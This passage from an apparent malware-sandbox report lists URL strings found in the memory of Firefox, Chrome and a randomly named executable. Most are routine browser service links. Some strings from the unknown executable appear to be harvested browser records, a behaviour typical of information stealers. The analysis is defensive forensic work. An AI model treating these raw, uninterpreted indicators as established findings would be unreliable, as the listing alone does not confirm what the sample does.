Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v4/discovery/?lang=%LOCALE%&edition=%DISTRIBUTION%
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/downloads?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://shavar.services.mozilla.com/gethash?client=SAFEBROWSING_ID&appver=%MAJOR_VERSION%&pver=2.2
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A58772000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2844834313.0000017A587DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/facebook.svg
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A58772000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2844834313.0000017A587DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://smartblock.firefox.etp/play.svg
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://snippets.cdn.mozilla.net/%STARTPAGE_VERSION%/%NAME%/%VERSION%/%APPBUILDID%/%BUILD_TARGET%/%L
Source: firefox.exe, 0000001C.00000002.2859458104.0000017A5A583000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2846779882.0000017A59409000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/
Source: firefox.exe, 0000001C.00000002.2859458104.0000017A5A583000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2846779882.0000017A59409000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/spocs
Source: firefox.exe, 0000001C.00000002.2859458104.0000017A5A583000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2846779882.0000017A59409000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://spocs.getpocket.com/user
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A587DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A58703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-js#onFormHistoryAutoCompleteSearchAsync/formHistoryEn
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A587DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2906828754.0000017A5CC11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixel
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A58703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://static.adsafeprotected.com/firefox-etp-pixelhttps://www.amazon.com/exec/obidos/external-sear
Source: 2bfd73b1c9.exe, 00000008.00000003.2505123184.0000000005441000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2640931801.0000000005A31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.microsof
Source: firefox.exe, 0000001C.00000002.2816945713.0000017A4C603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2844834313.0000017A58703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2859458104.0000017A5A5E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cryptominers-report
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/password-manager-report
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/search-engine-removal
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/send-tab
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/shield
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/social-media-tracking-report
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/captive-portal
Source: 2bfd73b1c9.exe, 0000000E.00000003.2713638284.0000000005AFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: firefox.exe, 0000001C.00000002.2843855069.0000017A5862C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windows
Source: firefox.exe, 0000001C.00000002.2904549578.0000017A5CB70000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe
Source: firefox.exe, 0000001C.00000002.2904549578.0000017A5CB70000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsUse
Source: 2bfd73b1c9.exe, 0000000E.00000003.2713638284.0000000005AFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A58703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.orgmedia.autoplay.blocking_policyshowBadgeOnlyNotificationmaybeShowOnboardin
Source: 2bfd73b1c9.exe, 00000008.00000003.2505123184.000000000543F000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2640931801.0000000005A2F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: 2bfd73b1c9.exe, 00000008.00000003.2505123184.000000000543F000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2640931801.0000000005A2F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: chrome.exe, 0000001F.00000002.2883002793.000035F8008D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://t0.gstatic.com/faviconV2
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://token.services.mozilla.com/1.0/sync/1.5
Source: firefox.exe, 0000001C.00000002.2843855069.0000017A5862C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2
Source: firefox.exe, 0000001C.00000002.2843855069.0000017A5862C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-3.1
Source: firefox.exe, 0000001C.00000002.2843855069.0000017A5862C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4
Source: firefox.exe, 0000001C.00000002.2843855069.0000017A5862C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tools.ietf.org/html/rfc7515#appendix-C)
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://topsites.services.mozilla.com/cid/
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://tracking-protection-issues.herokuapp.com/new
Source: firefox.exe, 0000001C.00000002.2816945713.0000017A4C603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2844834313.0000017A58703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2859458104.0000017A5A5E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://truecolors.firefox.com
Source: firefox.exe, 0000001C.00000002.2859458104.0000017A5A583000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2846779882.0000017A59457000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2846779882.0000017A59409000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://twitter.com/
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://versioncheck.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM_ID
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-%CHANNEL%-browser&utm_campaig
Source: firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://vpn.mozilla.org/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campaign=about-pr
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://webcompat.com/issues/new
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://webextensions.settings.services.mozilla.com/v1
Source: 2bfd73b1c9.exe, 00000008.00000003.2554341229.00000000053EC000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 00000008.00000003.2553902621.00000000053EC000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2728512835.00000000012F4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2859458104.0000017A5A583000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2846779882.0000017A59457000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2831568612.0000017A57DAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2846779882.0000017A59409000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2790727724.0000022EC7DCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A58726000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2844834313.0000017A587DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2657423227.0000017A5C05D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A58778000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/exec/obidos/external-search/chrome://global/content/printPreviewPagination.js
Source: firefox.exe, 0000001C.00000002.2876753251.0000017A5BEBA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.de/
Source: 2bfd73b1c9.exe, 00000008.00000003.2505809130.000000000542A000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2647283519.0000000005A1A000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2645140690.0000000005A1C000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2648320274.0000000005A1A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: 2bfd73b1c9.exe, 00000008.00000003.2554341229.00000000053EC000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 00000008.00000003.2553902621.00000000053EC000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2728512835.00000000012F4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2859458104.0000017A5A583000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2846779882.0000017A59457000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2831568612.0000017A57DAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2846779882.0000017A59409000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2790727724.0000022EC7DCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: chrome.exe, 0000001F.00000002.2860382019.000035F8005A0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2857725171.000035F8004B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2683050383.000035F800DE8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2675744544.000035F800444000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2873099536.000035F800648000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2862100171.000035F8005C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2683093325.000035F800D1C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000003.2683613554.000035F800E34000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A58778000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2656351386.0000017A5C03E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2657423227.0000017A5C05D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/complete/search?client=firefox&q=
Source: 2bfd73b1c9.exe, 00000008.00000003.2505809130.000000000542A000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2647283519.0000000005A1A000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2645140690.0000000005A1C000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2648320274.0000000005A1A000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2857725171.000035F8004B0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2864306916.000035F8005D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000001F.00000002.2883714698.000035F80091C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A58703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A58703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/policies/privacy/mozIGeckoMediaPluginChromeService
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A587DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2657423227.0000017A5C05D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A58778000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/searchget
Source: chrome.exe, 0000001F.00000002.2883519543.000035F800908000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/undo
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/geolocation/v1/geolocate?key=%GOOGLE_LOCATION_SERVICE_API_KEY%
Source: firefox.exe, 0000001C.00000002.2846779882.0000017A594A1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2859458104.0000017A5A542000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/about/legal/terms/subscription-services/
Source: firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/releasenotes/?utm_source=firefox-browser&utm_medi
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/%VERSION%/tour/
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/geolocation/
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/new?reason=manual-update
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/notes
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/set-as-default/thanks/
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/firefox/xr/
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/%LOCALE%/privacy/subscription-services/
Source: 2bfd73b1c9.exe, 0000000E.00000003.2713638284.0000000005AFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: 2bfd73b1c9.exe, 0000000E.00000003.2713638284.0000000005AFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: 2bfd73b1c9.exe, 00000008.00000003.2541838227.0000000005508000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2713638284.0000000005AFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: 2bfd73b1c9.exe, 0000000E.00000003.2713638284.0000000005AFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: firefox.exe, 0000001C.00000002.2831568612.0000017A57D46000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2790727724.0000022EC7DCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 0000001C.00000002.2859458104.0000017A5A583000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2846779882.0000017A59409000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 0000001C.00000002.2842462778.0000017A581C0000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2789897992.0000022EC7A40000.00000002.10000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 0000001E.00000002.2790727724.0000022EC7DCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/US
Source: 2bfd73b1c9.exe, 00000008.00000003.2541838227.0000000005508000.00000004.00000800.00020000.00000000.sdmp, 2bfd73b1c9.exe, 0000000E.00000003.2713638284.0000000005AFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 0000001C.00000002.2794258403.0000000847D3C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.orgo
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A587B3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2844834313.0000017A58703000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2841526725.0000017A57EDC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 0000001C.00000002.2859458104.0000017A5A583000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2846779882.0000017A59457000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2846779882.0000017A59409000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A58703000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.widevine.com/
Source: firefox.exe, 0000001C.00000002.2846779882.0000017A59409000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 0000001C.00000002.2843855069.0000017A5862C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warning
Source: firefox.exe, 0000001C.00000002.2904549578.0000017A5CB70000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warningThe
Source: firefox.exe, 0000001C.00000002.2844834313.0000017A587DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 0000001C.00000002.2852471532.0000017A59B2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.co
